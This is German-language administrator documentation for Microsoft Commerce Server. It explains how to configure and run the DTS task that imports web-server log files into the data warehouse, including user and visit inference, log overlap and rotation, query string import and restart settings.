  • Nach Abschluss dieser Prozeduren müssen Sie Ihre Sitekonfiguration mit dem Data Warehouse abgleichen, bevor Daten in das Data Warehouse importiert werden.

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Importieren von Daten in das Data Warehouse

Problembehandlung beim Data Warehouse-Importvorgang


Festlegen von Benutzerrückschlüssen

Es kann sinnvoll sein, Benutzer als Personen zu identifizieren, deren Such- oder Kaufmuster von Interesse sind.

Commerce Server bietet drei Optionen zur Identifizierung von Benutzern:

  • Commerce Server-Identifizierungscookies für Rückschlüsse verwenden. Sie können Commerce Server so einstellen, dass automatisch verschlüsselte Cookies ausgegeben werden, die verschiedene Benutzer in der Commerce Server-Datenbank identifizieren.
  • Benutzerdefinierte Cookiebezeichner verwenden. Sie können einen benutzerdefinierten Cookiebezeichner hinzufügen.

Hinweis

  • Wenn Sie zuvor mit Microsoft Site Server 3.0 Commerce Edition (SSCE) gearbeitet haben, werden die früher verwendeten Site Server-Cookies nun als benutzerdefinierte Cookies behandelt. Sie werden im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Rückschlüsse direkt unterhalb des Textfelds Neuen benutzerdefinierten Cookiebezeichner eingeben in der Liste der benutzerdefinierten Cookies angezeigt.

Standardmäßig sind alle drei Optionen für Commerce Server aktiviert. Sofern Sie nicht eine oder mehrere dieser Optionen deaktivieren, werden diese in der folgenden Reihenfolge zur Identifizierung von Benutzern verwendet:

  • MSCSAuth im Feld "cs(Cookie)". Von Commerce Server ausgegebenes Authentifizierungscookie, wird in der W3C-Protokolldatei gespeichert.
  • MSCSAuth im Feld "cs-uri-query". Von Commerce Server ausgegebenes Authentifizierungscookie, wird in der URL-Abfragezeichenfolge übergeben, wenn für die Site die Verwendung von Cookies deaktiviert wurde.
  • Benutzerdefiniertes Cookie im Feld "cs(Cookie)". Cookie, das gegebenenfalls durch einen Benutzer angenommen wurde; wird in der W3C-Protokolldatei gespeichert.
  • Client-IP und Benutzer-Agent. Client-IP-Adresse und Browserzeichenfolge des Clients entsprechend der Festlegung aus der HTTP-Spezifikation.

So legen Sie einen Rückschluss für Benutzer fest

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Nehmen Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Rückschlüsse die folgenden Einstellungen vor:
    Funktion | Aktion
    Commerce Server-Identifizierungscookies für Rückschlüsse verwenden | Aktivieren Sie dieses Kontrollkästchen, wenn Sie Commerce Server-Cookies für Benutzerrückschlüsse verwenden möchten.
    Benutzernamen für Rückschlüsse verwenden | Aktivieren Sie dieses Kontrollkästchen, wenn Sie eindeutige Benutzernamen für Rückschlüsse verwenden möchten.
    Benutzerdefinierte Cookiebezeichner verwenden | Aktivieren Sie dieses Kontrollkästchen, wenn Sie benutzerdefinierte Cookies für Rückschlüsse verwenden möchten.
    Neuen benutzerdefinierten Cookiebezeichner eingeben | Geben Sie den Bezeichner für das benutzerdefinierte Cookie in dieses Feld ein.
    Hinzufügen | Klicken Sie hierauf, um den neuen benutzerdefinierten Cookiebezeichner hinzuzufügen.
    Entfernen | Klicken Sie hierauf, um die ausgewählten benutzerdefinierten Cookiebezeichner zu entfernen.
    Nach oben | Klicken Sie hierauf, um den ausgewählten benutzerdefinierten Cookiebezeichner an eine Stelle weiter oben in der Liste zu verschieben. Cookies werden in der Reihenfolge ausgeführt, in der sie auch in der Liste erscheinen.
    Nach unten | Klicken Sie hierauf, um den ausgewählten benutzerdefinierten Cookiebezeichner an eine Stelle weiter unten in der Liste zu verschieben. Cookies werden in der Reihenfolge ausgeführt, in der sie auch in der Liste erscheinen.
  6. Klicken Sie auf Übernehmen und anschließend auf OK.

    Der Benutzerrückschluss für den Importprozess für Webprotokolldateien ist nun konfiguriert.

  7. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Importieren von Daten in das Data Warehouse

Problembehandlung beim Data Warehouse-Importvorgang


Festlegen von Besuchsrückschlüssen

Der Besuch einer Website entspricht der Zeitdauer, während derer ein einzelner Besucher mit dieser Website interagiert. In der Regel beginnt ein Besuch, sobald ein Benutzer auf eine Site zugreift, indem er entweder auf einen Link zu der Site klickt oder den Site-URL in die Adresszeile seines Browsers eingibt. Festzustellen, wann ein Besuch endet, gestaltet sich hingegen schwieriger. Wenn der Benutzer während einer Sitzung den Browser schließt oder minimiert oder in die Adresszeile des Browsers einen neuen URL eingibt, wird kein Protokolleintrag erzeugt, der auf das Ende des Besuchs hinweist.

Um diesen Mangel an eindeutigen Hinweisen auf das Ende eines Besuchs auszugleichen, gilt in Commerce Server ein Standardbesuchstimeout von 30 Minuten nach der letzten Benutzeraktivität, wodurch dann das Ende des Besuchs festgelegt wird. Wahlweise können Sie den Wert für das Besuchstimeout auch ändern, um den Erfordernissen Ihrer Website besser gerecht zu werden. Kehrt der Benutzer kurz nach Ablauf des Besuchstimeouts und Beendigung des Besuchs zur Site zurück, werden im Bericht zwei Besuche verzeichnet.

Hinweis

  • In manchen Fällen protokolliert der Server möglicherweise die Benutzerbesuchsaktivität nicht chronologisch, wodurch dann unter Umständen Daten für einen Besuch nicht in chronologischer Reihenfolge importiert werden. Das Data Warehouse ist in der Lage, diesen Mangel bis zum Ablauf des angegebenen Besuchstimeouts auszugleichen. Überschreitet ein Besuch jedoch das Besuchstimeout, ist die Genauigkeit der Daten nicht mehr gewährleistet.

So legen Sie einen Rückschluss für Besuche fest

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Geben Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Rückschlüsse im Feld Rückschlüsse besuchen eine Zahl für die Anzahl der Minuten ein, während derer ein Benutzer inaktiv sein muss, bevor ein Besuch beendet wird.
  6. Klicken Sie auf Übernehmen und anschließend auf OK.

    Der Besuchsrückschluss für den Importprozess für Webprotokolldateien ist nun konfiguriert.

  7. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Importieren von Daten in das Data Warehouse

Problembehandlung beim Data Warehouse-Importvorgang


Festlegen der Eigenschaften "Überlappen" und "Drehung"

Verwenden Sie die Eigenschaft Überlappen, um Redundanzen zu vermeiden, die auftreten können, wenn Protokolldateien Anforderungen mit zeitlichen Überschneidungen enthalten. Mithilfe der Eigenschaft Drehung können Sie Redundanzen und Datenverluste vermeiden, zu denen es kommen kann, wenn bei Servern eine Rotation der Protokolldateien vorgenommen wird, um zu verhindern, dass diese zu groß werden.

Wenn die Einstellungen Überlappen und Drehung nicht vorgenommen werden, ist der Import von Protokolldateien ohne den Verlust von Aktivitätsdaten in das Data Warehouse nicht möglich, da während des Betriebs der Site ständig Protokolldateien erstellt werden. Dass Dateien Daten für überlappende Zeiträume enthalten, kann vorkommen, wenn Sie Protokolldateien auf separaten Servern ausführen, die Protokollierung auf einem einzelnen Server unterbrechen und fortsetzen, versehentlich eine Protokolldatei erneut importieren oder unterschiedliche Protokolldateien verketten.

Hinweis

  • Nach Abschluss dieser Prozeduren müssen Sie Ihre Sitekonfiguration mit dem Data Warehouse abgleichen, bevor Daten in das Data Warehouse importiert werden.

Überlappen

Drehung

Überlappen

Zeitüberlappungen können auftreten, wenn Sie mehrere Server mit einer Site verknüpft haben, die Protokollierung auf einem einzelnen Server unterbrechen und fortsetzen, versehentlich eine Protokolldatei erneut importieren oder unterschiedliche Protokolldateien verketten. (Durch eine Verkettung wird die Nachverfolgung von Zeitüberlappungen erheblich erschwert, und daher sollten Verkettungen vermieden werden.) Die standardmäßige Zeitüberlappungsdauer für Commerce Server liegt bei 30 Minuten.

Wenn während eines Imports eine Zeitüberlappung festgestellt wird, werden standardmäßig die überlappenden Anforderungen verworfen, während die übrigen Anforderungen importiert werden. Sie können sowohl die Zeitüberlappungsdauer als auch die gewünschte Reaktion auf erkannte Überlappungen ändern.

Wenn Sie eine Protokolldatei versehentlich importieren, können Sie sie unter Verwendung des Datenlöschungstasks wieder löschen. Informationen zum Löschen von Protokolldateien finden Sie unter Ausführen des DTS-Datenlöschungstasks.

In der folgenden Abbildung wird verdeutlicht, wie die vier bei einer Überlappung möglichen Aktionen, nämlich Datensätze verwerfen und Vorgang fortsetzen, Alle Datensätze importieren, Import beenden und Alle Importe beenden, sich auf die Teile der zweiten und dritten Protokolldatei auswirken, die bei Erkennung einer zeitlichen Überlappung beibehalten werden.

Zeitüberlappung von Webprotokolldateien.

So konfigurieren Sie Zeitüberlappungen in Webprotokolldateien

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Nehmen Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Protokolldat. die folgenden Einstellungen vor:
    Funktion | Aktion
    Anzahl der Minuten, die Datensätze überlappen müssen | Geben Sie die Anzahl der Minuten ein, die Datensätze überlappen müssen.
    Wenn Überlappung festgestellt wird Wählen Sie die Aktion aus, die bei Feststellung einer Überlappung ausgeführt werden soll:
    • Datensätze verwerfen und Vorgang fortsetzen. (Standardeinstellung) Alle Anforderungen mit Überlappung werden verworfen, während die verbleibenden Anforderungen importiert werden.
    • Alle Datensätze importieren. Importiert alle Anforderungen, auch solche mit Überlappungen.
    • Import beenden. Verhindert den Import der gesamten Protokolldatei, die überlappende Anforderungen enthält. Alle anderen Protokolldateien werden importiert.
    • Alle Importe beenden. Beendet alle Importe von Protokolldateien. Wenn Sie die Daten, die vor Erkennung der überlappenden Anforderung bereits importiert wurden, nicht behalten möchten, müssen Sie die importierte Protokolldatei löschen.

    Hinweis

    • Treten beim Import Probleme auf, wählen Sie zur Problembehandlung die Option Import beenden oder Alle Importe beenden aus.
  6. Klicken Sie auf Übernehmen und anschließend auf OK.

    Der Eigenschaft Überlappen für den Importprozess für Webprotokolldateien ist nun konfiguriert.

  7. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

Drehung

Bei der Rotation von Protokolldateien werden die Daten in den Protokolldateien willkürlich abgeschnitten. Dabei werden Daten für manche Besuche zwischen dem Ende der einen Protokolldatei und dem Anfang der nächsten aufgeteilt. Diese offenen Besuche können Sie wahlweise am Ende des Importprozesses speichern, Sie können einen Commit ausführen oder die offenen Besuche verwerfen.

So legen Sie die Protokolldateirotation fest

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Nehmen Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Protokolldat. die folgenden Einstellungen vor:
    Funktion Aktion
    Nach Abschluss des Imports Legen Sie fest, was am Ende des Importprozesses mit den offenen Besuchen geschehen soll:
    • Offene Besuche für den nächsten Import speichern. (Standardeinstellungen) Stellt den Besuch wieder so her, als wäre eine nahtlose Protokolldatei vorhanden. Diese Option ist etwas zeitaufwendiger, da die offenen Besuche bei jedem neuen Import aus dem Cache aufgerufen werden müssen. Die Option funktioniert nur fehlerfrei, wenn Sie die Protokolldateien in chronologischer Reihenfolge importieren.
    • Commit offener Besuche in die Datenbank ausführen. Die Anzahl der Besuche ist zu Beginn und zum Ende der Protokolldateiperiode höher, da Besuche, die sich über die beiden Perioden erstrecken, zweimal gezählt werden.
    • Offene Besuche verwerfen. Am Ende der Protokolldateiperiode ist die Berichtsanzahl geringer, da nicht geschlossene Besuche gelöscht werden.
  6. Klicken Sie auf Übernehmen und anschließend auf OK.

    Die Eigenschaft Drehung für den Importprozess für Webprotokolldateien ist nun konfiguriert.

  7. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Importieren von Daten in das Data Warehouse


Festlegen der Importeigenschaften von Abfragezeichenfolgen für Webprotokolldateien

Wenn in Ihrer Site Abfragezeichenfolgen verwendet werden, können Sie diese in Protokolldateien erfassen und in das Data Warehouse importieren. Abfragezeichenfolgen sind in einer Site für die Suche sowie zur Ausführung ausführbarer Dateien nützlich. Wenn Sie über eine Liste der in der Site verwendeten Abfragezeichenfolgen verfügen, können Sie die Berichterstellung für den mit diesen Abfragezeichenfolgen verknüpften Inhalt aktivieren.

Standardmäßig werden Abfragezeichenfolgen mit dem Uniform Resource Identifier (URI) im Data Warehouse gespeichert. Anhand der Abfragezeichenfolgen können Sie HTML-Titelsuchen für die Seiten der Site, die Abfragezeichenfolgen verwenden, ausführen. Wenn es jedoch viele verschiedene Kombinationen von Parameternamen und Werten für die Abfragezeichenfolgen in den Protokolldateien gibt, kann die Anzahl der importieren Anforderungen erheblich zunehmen, wodurch wiederum die Systemleistung beeinträchtigt wird. Falls dieser Fall eintritt, kann es sinnvoll sein, keine Abfragezeichenfolgen mehr mit dem URI zu speichern.

Hinweise

  • Nach Abschluss dieser Prozeduren müssen Sie Ihre Sitekonfiguration mit dem Data Warehouse abgleichen, bevor Daten in das Data Warehouse importiert werden.
  • Es können insgesamt maximal 256 Abfragezeichenfolgen mit einem und mehreren Werten in das Data Warehouse importiert werden.
  • Die importierten Abfragezeichenfolgen können maximal 150 Abfragezeichenfolgen mit einem Wert oder maximal 256 Abfragezeichenfolgen mit mehreren Werten umfassen. Werden zu viele Abfragezeichenfolgen importiert, besteht die Gefahr, dass der Importprozess für Webprotokolldateien fehlschlägt.
  • Im Data Warehouse ist die Länge importierter Zeichenfolgen mit mehreren Werten (wozu auch Abfragezeichenfolgen zählen) auf 512 Zeichen beschränkt. Wenn eine Abfragezeichenfolge mit mehreren Werten länger als 512 Zeichen ist, wird sie beim Import auf 512 Zeichen gekürzt.

So konfigurieren Sie Abfragezeichenfolgen für den Import

So entfernen Sie eine Abfragezeichenfolge aus dem Import

So zeigen Sie die Eigenschaften der Abfragezeichenfolgen-Konfiguration an

So konfigurieren Sie Abfragezeichenfolgen für den Import

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Nehmen Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Abfr.-Zeichenfolgen die folgenden Einstellungen vor:
    Funktion | Aktion
    Speichern der Abfragezeichenfolge mit URI | Aktivieren Sie dieses Kontrollkästchen, wenn die Abfragezeichenfolgen zusammen mit den zugehörigen URIs im Data Warehouse gespeichert werden sollen.
    Hinzufügen | Klicken Sie hierauf, um das Dialogfeld Abfragezeichenfolgen zu öffnen.
  6. Nehmen Sie im Dialogfeld Abfragezeichenfolgen die folgenden Einstellungen vor:
    Funktion | Aktion
    Name Geben Sie den Namen der Abfragezeichenfolge genauso ein, wie er in den Protokolldateien erscheint.

    Der Name darf keiner der Data Warehouse-Standardspalten entsprechen. Zudem darf er nicht die Zeichenfolge CEVT enthalten (diese Zeichenfolge ist für Commerce Server-Abfragezeichenfolgen reserviert). Darüber hinaus darf der Name weder Leerzeichen noch eines der folgenden Zeichen enthalten: ', ", +, &, ^, ', ", {,}, <, > oder =.

    Alle Anwendungen in einer Site | Wählen Sie diese Option aus, um Abfragezeichenfolgen aus allen Anwendungen innerhalb der Site zu importieren.
    Ausgewählte Anwendungen in einer Site | Wählen Sie diese Option aus, um die Anwendungen festzulegen, aus denen Abfragezeichenfolgen importiert werden sollen.
    Datentyp auswählen Wählen Sie in der Dropdownliste den Datentyp der Abfragezeichenfolge aus. Es stehen vier Datentypen zur Auswahl: Ganze Zahl, Zeichenfolge, Datum/Uhrzeit oder Real.

    Für den Datentyp Zeichenfolge sind maximal 255 Zeichen zulässig.
    Mehrwertiger Datentyp | Aktivieren Sie dieses Kontrollkästchen, wenn die Abfragezeichenfolge einen mehrwertigen Datentyp aufweist.
  7. Klicken Sie auf OK, um das Dialogfeld Abfragezeichenfolgen zu schließen.
  8. Klicken Sie auf Übernehmen und anschließend auf OK.

    Die Abfragezeichenfolgen für den Importprozess für Webprotokolldateien sind nun konfiguriert.

  9. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

So entfernen Sie eine Abfragezeichenfolge aus dem Import

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Markieren Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Abfr.-Zeichenfolgen die zu entfernende Abfragezeichenfolge, und klicken Sie dann auf Entfernen.
  6. Klicken Sie auf Übernehmen und anschließend auf OK.

    Die Abfragezeichenfolge wird aus dem Importprozess für Webprotokolldateien entfernt.

  7. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

So zeigen Sie die Eigenschaften der Abfragezeichenfolgen-Konfiguration an

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Klicken Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Abfr.-Zeichenfolgen auf Eigenschaften, um das Dialogfeld Abfragezeichenfolgen zu öffnen. (Eine Änderung der angezeigten Eigenschaften ist nicht möglich.)

    Hinweis

    • Wenn Sie Eigenschaften ändern möchten, müssen Sie die Abfragezeichenfolge zunächst aus dem Import entfernen und sie dann mit den gewünschten neuen Eigenschaften erneut hinzufügen.
  6. Klicken Sie auf OK und anschließend noch einmal auf OK.

Siehe auch

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Importieren von Daten in das Data Warehouse

Problembehandlung beim Data Warehouse-Importvorgang


Festlegen der Eigenschaften für den Neustart des Webprotokollimports

Die Optionen für den Neustart werden auf der Registerkarte Erneut starten des Dialogfelds Webserverprotokolle importieren konfiguriert. Wenn das Data Warehouse ein fehlerhaftes Importprotokoll erkennt, kann durch die Neustartoption entweder der gesamte Importvorgang unterbrochen oder das fehlerhafte Protokoll gelöscht und der Vorgang fortgesetzt werden, nachdem alle Wiederholungsversuche ebenfalls fehlgeschlagen sind.

Hinweis

  • Nach Abschluss dieser Prozedur müssen Sie Ihre Sitekonfiguration mit dem Data Warehouse abgleichen, bevor Sie Daten in das Data Warehouse importieren.

So legen Sie die Option für den Neustart des Imports von Webprotokolldateien fest

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Nehmen Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Erneut starten im Bereich Einstellungen für den Neustart die folgenden Einstellungen vor:
    Funktion | Aktion
    Aktion nach Erreichen der max. Anzahl der Wiederholungen | Wählen Sie aus der Dropdownliste entweder Import nach Abschluss der Wiederholungsversuche beenden oder Fehlerprotokollimport löschen und Vorgang fortsetzen.
    Anzahl der Neustartversuche | Geben Sie an, wie oft Commerce Server versuchen soll, einen fehlgeschlagenen Importvorgang neu zu starten.
  6. Klicken Sie auf OK und anschließend noch einmal auf OK.

    Die Neustartoptionen sind jetzt für den Webprotokollimport festgelegt.

  7. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt den DTS-Importtask von Commerce Server ausführen, um Daten in das Data Warehouse zu importieren.

Siehe auch

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Ausführen des DTS-Webserverprotokollimport-Tasks

In diesem Thema wird erläutert, wie der DTS-Webserverprotokollimport-Task ausgeführt wird. Vor der Ausführung dieses Tasks sollten Sie jedoch die Themen Tipps zur Ausführung des Webserverprotokollimport-Tasks und Tipps zum Import lesen.

In Webserver-Protokolldateien sind Daten gespeichert, die erzeugt werden, wenn Benutzer Ihre Site besuchen und auf Links zu Seiten Ihrer Site klicken. Bestandteil der Daten sind die Dauer des Aufenthalts in Ihrer Site, verweisende URLs, Anzeigenklicks, die Anzeigenreichweite, die Klickhäufigkeit sowie der Weg, den Benutzer durch die Site nehmen, einschließlich der Eingangs- und Ausgangsseiten.

Mithilfe des DTS-Webserverprotokollimport-Tasks können Sie angeben, welche Protokolldateien in das Data Warehouse importiert werden sollen und wo sich diese Dateien befinden. Weitere Informationen zum Konfigurieren dieses DTS-Tasks finden Sie unter Konfigurieren des DTS-Webserverprotokollimport-Tasks.

Der Webprotokolldatei-Importtask sucht dann am angegebenen Speicherort nach den Protokolldateien, analysiert diese und übernimmt die Eigenschaften, die Sie zuvor für diesen Task festgelegt haben.

Sie können Protokolldateien von Websites importieren, auf denen Internetinformationsdienste (IIS) 5.0 nicht ausgeführt werden (und die nicht mit Commerce Server betrieben werden), sofern diese Dateien im erweiterten W3C-Protokolldateiformat vorliegen. Weitere Informationen zum Hinzufügen von Anwendungen und Webservern, die keine Commerce Server-Komponenten verwenden, finden Sie unter Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site.

Falls die Site über mehrere Webserver verfügt, führt der Importprozess für Webprotokolldateien die Dateien von den verschiedenen Webservern im Speicher zusammen und ordnet die Webprotokolldaten chronologisch. Der Importprozess für Webprotokolldateien filtert die Daten aus den Webprotokolldateien unter Verwendung der von Ihnen festgelegten Importeigenschaften. Er wendet auch einen Rückschlussalgorithmus für Benutzerbesuche an, um Klickdaten in gesonderte Zähler für Benutzer und Besuche zu transformieren. Informationen zum Festlegen von Benutzerrückschlüssen finden Sie unter Festlegen von Benutzerrückschlüssen. Informationen zum Festlegen von Besuchsrückschlüssen finden Sie unter Festlegen von Besuchsrückschlüssen.

Außerdem können Sie wahlweise festlegen, dass mit der Website verbundene Abfragezeichenfolgen importiert werden sollen. Diese importiert der Importprozess für Webprotokolldateien dann ebenfalls. Weitere Informationen zum Konfigurieren von Webprotokolldateien finden Sie unter Konfigurieren des DTS-Webserverprotokollimport-Tasks.

Weitere Informationen zum Einrichten von Importeigenschaften für Daten von Webprotokolldateien finden Sie unter Konfigurieren des DTS-Webserverprotokollimport-Tasks.

So importieren Sie Webprotokolldateien aus einer Site in Ihr Data Warehouse

So importieren Sie Webprotokolldateien aus sämtlichen verknüpften Sites in Ihr Data Warehouse

So importieren Sie Webprotokolldateien aus einer Site in Ihr Data Warehouse

  1. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  2. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  4. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  5. Nehmen Sie im Dialogfeld Webserverprotokolle importieren die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Importtasks ein.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Siteebene aus.
    Site | Wählen Sie in der Dropdownliste den Namen der Website aus, die das zu importierende Webserverprotokoll enthält.
    Protokolldateipfad | Geben Sie den Pfad der zu importierenden Webprotokolldatei ein, oder klicken Sie auf Protokolldateien, um die zu importierenden Webprotokolldateien in der Liste Webserver-Protokolldateien auszuwählen.
    Alle Protokolle seit dem letzten Import | Wählen Sie diese Option aus, um festzulegen, dass alle seit dem letzten Import erstellten Protokolldateien importiert werden sollen.
